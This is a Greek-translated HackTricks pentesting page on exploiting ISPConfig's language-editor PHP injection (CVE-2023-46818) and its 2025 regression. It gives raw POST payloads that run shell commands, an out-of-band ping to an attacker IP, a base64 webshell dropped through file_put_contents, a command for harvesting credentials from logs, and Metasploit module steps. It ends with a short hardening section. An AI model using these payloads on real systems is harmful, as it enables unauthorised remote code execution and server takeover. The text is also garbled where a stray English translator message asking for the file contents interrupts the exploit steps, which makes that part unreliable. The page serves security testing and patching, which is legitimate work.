ISPConfig

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Επισκόπηση

Το ISPConfig είναι ένας πίνακας ελέγχου φιλοξενίας ανοιχτού κώδικα. Παλαιότερες εκδόσεις 3.2.x περιείχαν μια λειτουργία επεξεργασίας αρχείων γλώσσας που, όταν ήταν ενεργοποιημένη για τον super administrator, επέτρεπε αυθαίρετη εισαγωγή κώδικα PHP μέσω ενός ελαττωματικού εγγραφής μετάφρασης. Αυτό μπορεί να οδηγήσει σε RCE στο περιβάλλον του web server και, ανάλογα με τον τρόπο εκτέλεσης της PHP, σε privilege escalation.

Βασικές προεπιλεγμένες διαδρομές:

  • Το web root συχνά βρίσκεται στο /var/www/ispconfig όταν σερβίρεται με php -S ή μέσω Apache/nginx.
  • Το Admin UI είναι προσβάσιμο στο HTTP(S) vhost (μερικές φορές δεσμευμένο μόνο στο localhost· χρησιμοποιήστε SSH port-forward αν χρειάζεται).

Συμβουλή: Εάν ο πίνακας είναι δεσμευμένος τοπικά (π.χ. 127.0.0.1:8080), προωθήστε τον:

ssh -L 9001:127.0.0.1:8080 user@target
# then browse http://127.0.0.1:9001

Language editor PHP code injection (CVE-2023-46818)

  • Επηρεασμένο: ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
  • Προϋποθέσεις:
  • Σύνδεση ως ο ενσωματωμένος λογαριασμός superadmin admin (άλλοι ρόλοι δεν επηρεάζονται σύμφωνα με τον προμηθευτή)
  • Ο επεξεργαστής γλώσσας πρέπει να είναι ενεργοποιημένος: admin_allow_langedit=yes in /usr/local/ispconfig/security/security_settings.ini
  • Επιπτώσεις: Ο αυθεντικοποιημένος admin μπορεί να εισάγει αυθαίρετο PHP που γράφεται σε ένα αρχείο γλώσσας και εκτελείται από την εφαρμογή, επιτυγχάνοντας RCE στο web context

Αναφορές: NVD entry CVE-2023-46818 και σύνδεσμος ειδοποίησης του προμηθευτή στην ενότητα References παρακάτω.

Χειροκίνητη ροή εκμετάλλευσης

  1. Άνοιγμα/δημιουργία αρχείου γλώσσας για να αποκτήσετε CSRF tokens

Στείλτε ένα πρώτο POST για να αρχικοποιήσετε τη φόρμα και αναλύστε τα πεδία CSRF από την HTML απάντηση (csrf_id, csrf_key). Παράδειγμα request path: /admin/language_edit.php.

  1. Εισαγωγή PHP μέσω records[] και αποθήκευση

Υποβάλετε ένα δεύτερο POST που περιλαμβάνει τα πεδία CSRF και μια κακόβουλη εγγραφή μετάφρασης. Ελάχιστες δοκιμές εκτέλεσης εντολών:

POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
Content-Type: application/x-www-form-urlencoded
Cookie: ispconfig_auth=...

lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>

Δοκιμή εκτός ζώνης (παρακολούθηση ICMP):

records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
  1. Γράψτε αρχεία και τοποθετήστε ένα webshell

Χρησιμοποιήστε file_put_contents για να δημιουργήσετε ένα αρχείο σε ένα web-προσβάσιμο μονοπάτι (π.χ., admin/):

records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>

Στη συνέχεια γράψτε ένα απλό webshell χρησιμοποιώντας base64 για να αποφευχθούν ανεπιθύμητοι χαρακτήρες στο σώμα του POST:

records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>

I don’t have the file contents. Please paste the contents of src/network-services-pentesting/pentesting-web/ispconfig.md here (or tell me which sections to translate). I will return the file with all markdown/html/tags/links/paths/refs/code preserved and only translate the human-readable English text into Greek.

curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'

If PHP is executed as root (e.g., via php -S 127.0.0.1:8080 started by root), this yields immediate root RCE. Otherwise, you gain code execution as the web server user.

2025 παλινδρόμηση (ISPConfig 3.3.0 / 3.3.0p1)

Το σφάλμα του language editor επανεμφανίστηκε στις 3.3.0/3.3.0p1 και διορθώθηκε στην 3.3.0p2. Οι προϋποθέσεις παραμένουν αμετάβλητες (admin_allow_langedit και admin login). Το ίδιο patch επίσης αντιμετώπισε ένα monitor XSS και world-readable rotated logs.

Σημειώσεις:

  • Στις 3.3.0/3.3.0p1, world-readable rotated logs under /usr/local/ispconfig/interface/log/ may leak credentials if debug logging was enabled:
find /usr/local/ispconfig/interface/log -type f -perm -004 -name '*.gz' -exec zcat {} + | head
  • Τα βήματα του exploit ταιριάζουν με το CVE-2023-46818· η 3.3.0p2 προσθέτει επιπλέον ελέγχους πριν την επεξεργασία της γλώσσας.

Python PoC

Ένα έτοιμο προς χρήση exploit αυτοματοποιεί το χειρισμό των token και την παράδοση του payload:

Παράδειγμα εκτέλεσης:

python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>

Metasploit module (κυκλοφόρησε τον Ιούλιο του 2025)

Η Rapid7 πρόσθεσε exploit/linux/http/ispconfig_lang_edit_php_code_injection, η οποία μπορεί να ενεργοποιήσει αυτόματα admin_allow_langedit εάν ο παρεχόμενος λογαριασμός admin έχει δικαιώματα system-config.

use exploit/linux/http/ispconfig_lang_edit_php_code_injection
set RHOSTS 10.10.10.50
set RPORT 8080
set USERNAME admin
set PASSWORD <admin_pass>
set TARGETURI /
run

Το module γράφει ένα base64-encoded payload μέσω του records[] και το εκτελεί, παρέχοντας έναν PHP Meterpreter ή custom payload.

Σκληροποίηση

  • Αναβαθμίστε σε 3.2.11p1 ή νεότερη για το αρχικό ζήτημα, και σε 3.3.0p2 ή νεότερη για την παλινδρόμηση του 2025.
  • Απενεργοποιήστε τον επεξεργαστή γλώσσας εκτός αν είναι απολύτως απαραίτητος:
admin_allow_langedit=no
  • Αποφύγετε να εκτελείτε τον πίνακα ως root; ρυθμίστε το PHP-FPM ή τον web server να μειώνουν τα προνόμια
  • Επιβάλετε ισχυρή αυθεντικοποίηση για τον ενσωματωμένο λογαριασμό admin

Αναφορές

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks